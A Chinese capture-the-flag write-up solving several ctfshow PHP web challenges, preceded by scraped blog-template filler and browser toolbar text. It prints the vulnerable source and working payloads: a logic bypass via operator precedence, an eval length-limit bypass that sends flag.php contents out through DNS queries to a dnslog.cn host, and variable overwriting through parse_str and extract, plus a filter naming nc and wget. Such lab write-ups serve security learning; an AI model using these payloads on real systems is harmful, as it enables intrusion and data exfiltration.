



HomeCategories▼Contact🔍



Alexander
Blog Writer🌙

Featured Posts




How to Create Detailed Buyer Personas for Your Business

Lorem ipsum dolor sit amet consectetur ipsum adipisicing elit. Qui eligendi vitae sit.

Johnson smith in Design

April 13, 20206min read


All Featured Posts



How to Create your blog domain to make it live

Johnson smith in Design


April 13, 20206min read



Register a Domain or Subdomain With a Website Host

Johnson smith in Design

April 13, 20206min read



Home to Customize your blog's theme with 3 simple steps

Johnson smith in Design

April 13, 20206min read

Trending

01. How to Identify first blog post's topic

Johnson smith in Design

April 13, 20206min read

02. 5 ways to fix a leaky faucet

Johnson smith in Design

April 13, 20206min read

03. Changing the topic scope

Johnson smith in Design

April 13, 20206min read

04. Write an intro (make it captivating).

Johnson smith in Design

April 13, 20206min read

a03a81d-b743-49bc-bd6c-a56dfb6a9467.challenge.ctf.show/#blog-single

在robots.txt里看到提示admin

🔍 校园网登录📄 ctfshow📄 CTF工具📄 kali📄 江苏海警📄 苏职大📄 CSDN📄 比赛网站📄 ctf参考文献📄 AI📄 郭场>>📄 彬

Disallow: /admin

🔍 HackBar🟢 HackBar🔧 查看器📄 控制台📄 调试器↕ 网络📄 样式编辑器🔊 性能📄 内存📄 存储>>🔴

LOAD▼SPLITEXECUTETEST▼SQLI▼XSS▼LFI▼SSRF▼SSTI▼SHELL▼

<URLhttps://aa03a81d-b743-49bc-bd6c-a56dfb6a9467.challenge.ctf.show/robots.txt

访问得到源码

```
<?php
```

```
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code']))
{
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];
    if($code === mt_rand(1,0x36D) && $password === $flag || $username
=== "admin"){

        if($code == 'admin'){
            echo $flag;
        }
    }
}
```

三个get参数，并且有个if判断条件；php运算符优先级 `||` 优先级低于 `&&`

所以我们只需要满足 `username=admin` 过第一个if条件，`code=admin` 满足第二个if条件即可，payload 为

```
?username=admin&code=admin&password=1
```

得到flag



web133

```
<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("6个字母都还不够呀?!");
    }
}
```

限制了一些命令执行语句并且还限制了6个字符

需要利用dns外带数据回来，利用网站<http://www.dnslog.cn/>

先拿到一个二级dns域名

tmq9jr.dnslog.cn

因为限制了6个字符

所以先执行\$F

```
eval(substr($F,0,6));
```

截取执行\$F的前六个字符。但是\$F的值不变

所以构建一个

```
F=`$F`;
```

然后在后面拼接命令，将命令回显带到二级域名上

```
ping `cat flag.php | grep ctfshow | tr -cd "[a-z]"/"[0-9]"`.tmq9jr.dnslog.cn -c 1
```

看一下[ping命令](#)

linux使用方法

ping `命令`.子域

```
ping `whoami`.ckjjeo.dnslog.cn
```

DNS Query Record	IP Address	Created Time
root.ckjjeo.dnslog.cn	47.92.8.5	2021-06-23 14:51:59

因为二级域名带出的信息有限，所以要对带出的信息进行筛选，利用grep命令以及[tr命令](#)

构建payload

```
?F=`$F`; ping `cat flag.php | grep ctfshow | tr -cd "[a-z]"/"[0-9]"`.tmq9jr.dnslog.cn -c 1
```

得到flag

Get SubDomain

Refresh Record

tmq9jr.dnslog.cn

DNS Query Record	IP Address	Created Time
flagctfshow26d7ed8a644a497cae0203a4006dc29f.tmq9jr.dnslog.cn	172.253.4.3	2024-05-19 13:55:54

web134

```
<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) ||
isset($_POST['key2'])) {
    die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
    die(file_get_contents('flag.php'));
}
```

parse_str() 函数和 extract() 函数，得出是变量覆盖

如果我们传入?_POST[a]=freedom

就会输出 array(1) { ["a"]=> string(6) "freedom" }

再使用extract函数，就会变成 \$a=freedom

payload

```
?_POST[key1]=36d&_POST[key2]=36d
```

得到flag



